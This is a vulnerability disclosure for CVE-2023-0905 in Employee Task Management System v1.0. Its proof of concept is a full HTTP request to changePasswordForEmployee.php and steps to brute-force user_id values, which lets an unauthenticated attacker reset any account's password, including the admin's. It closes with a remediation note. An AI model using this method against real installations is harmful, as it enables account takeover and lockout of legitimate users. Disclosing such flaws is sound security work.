# Exploit Title:  Employee Task Management System v1.0 - Broken Authentication
# Exploit Author: Muhammad Navaid Zafar Ansari
# Date: 17 February 2023

### CVE Assigned:
**[CVE-2023-0905](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0905)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0905), [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0905)

### Author: 
> Muhammad Navaid Zafar Ansari
### Vendor Homepage:
> https://www.sourcecodester.com
### Software Link:
> [Employee Task Management System](https://www.sourcecodester.com/php/15383/employee-task-management-system-phppdo-free-source-code.html)
### Version:
> v 1.0

# Tested on: Windows 11

### Broken Authentication:
> Broken authentication occurs when the authentication mechanisms in a web application are not implemented correctly, allowing an attacker to bypass them and gain unauthorized access to the application's features and resources. If an attacker is able to exploit broken authentication and gain access to a user's account, they may be able to change the account password, effectively locking the legitimate user out of the system. This is particularly dangerous because if the attacker can compromise one user account, they may be able to use that account to gain access to other accounts and escalate their privileges, potentially compromising the entire system.
### Affected Page:
> changePasswordForEmployee.php

> On this page, application isn't verifying the authentication/authorization mechanism. Due to that, all the parameters are vulnerable to broken authentication.

### Description:
> Broken Authentication allows unauthenticated remote attacker to change password of all application users

### Proof of Concept:
> Following steps are involved:
1. Visit the vulnerable page: changePasswordForEmployee.php
2. Type any random password which needs to update against any user id and submit
3. Intercept that request through Burp Suite
4. Request:
```
POST /etms/changePasswordForEmployee.php HTTP/1.1
Host: localhost
Content-Length: 277
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/etms/changePasswordForEmployee.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ntknjcf821q2u3h85c14qo1r91
Connection: close

user_id=%3Cbr+%2F%3E%0D%0A%3Cb%3EWarning%3C%2Fb%3E%3A++Undefined+variable+%24user_id+in+%3Cb%3EC%3A%5Cxampp%5Chtdocs%5Cetms%5CchangePasswordForEmployee.php%3C%2Fb%3E+on+line+%3Cb%3E34%3C%2Fb%3E%3Cbr+%2F%3E%0D%0A&password=admin%23123&re_password=admin%23123&change_password_btn=
```
5. because the "user_id" parameter is not set due to missing authentication, so we need to set the user_id manually. By default user_id 1 is for admin and we can use intruder to bruteforce this step with incremental value. Whenever the server will find the correct user_id, it will change the password and log in to the application.
6. Successful exploit screenshots are below (without cookie parameter)

![image](https://user-images.githubusercontent.com/123810418/219798138-747388d7-378b-4d1b-9862-1356e52a0c72.png)

![image](https://user-images.githubusercontent.com/123810418/219798264-f04bcda9-a833-4010-a40b-076a38199938.png)

![image](https://user-images.githubusercontent.com/123810418/219798299-5ba92752-d218-4aaa-b123-5258df37ce38.png)

7. Vulnerable Code Snippets:

![image](https://user-images.githubusercontent.com/123810418/219799518-50d3eb1a-0091-4229-b7d0-7621d79cc168.png)

![image](https://user-images.githubusercontent.com/123810418/219799657-42b9a71c-539c-4e91-bec8-0d7fd40cb3ed.png)

### Recommendation:
> Whoever uses this CMS, should update the authentication and authorization mechanism on top of the changePasswordForEmployee.php as per their requirement to avoid a Broken Authentication attack

Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo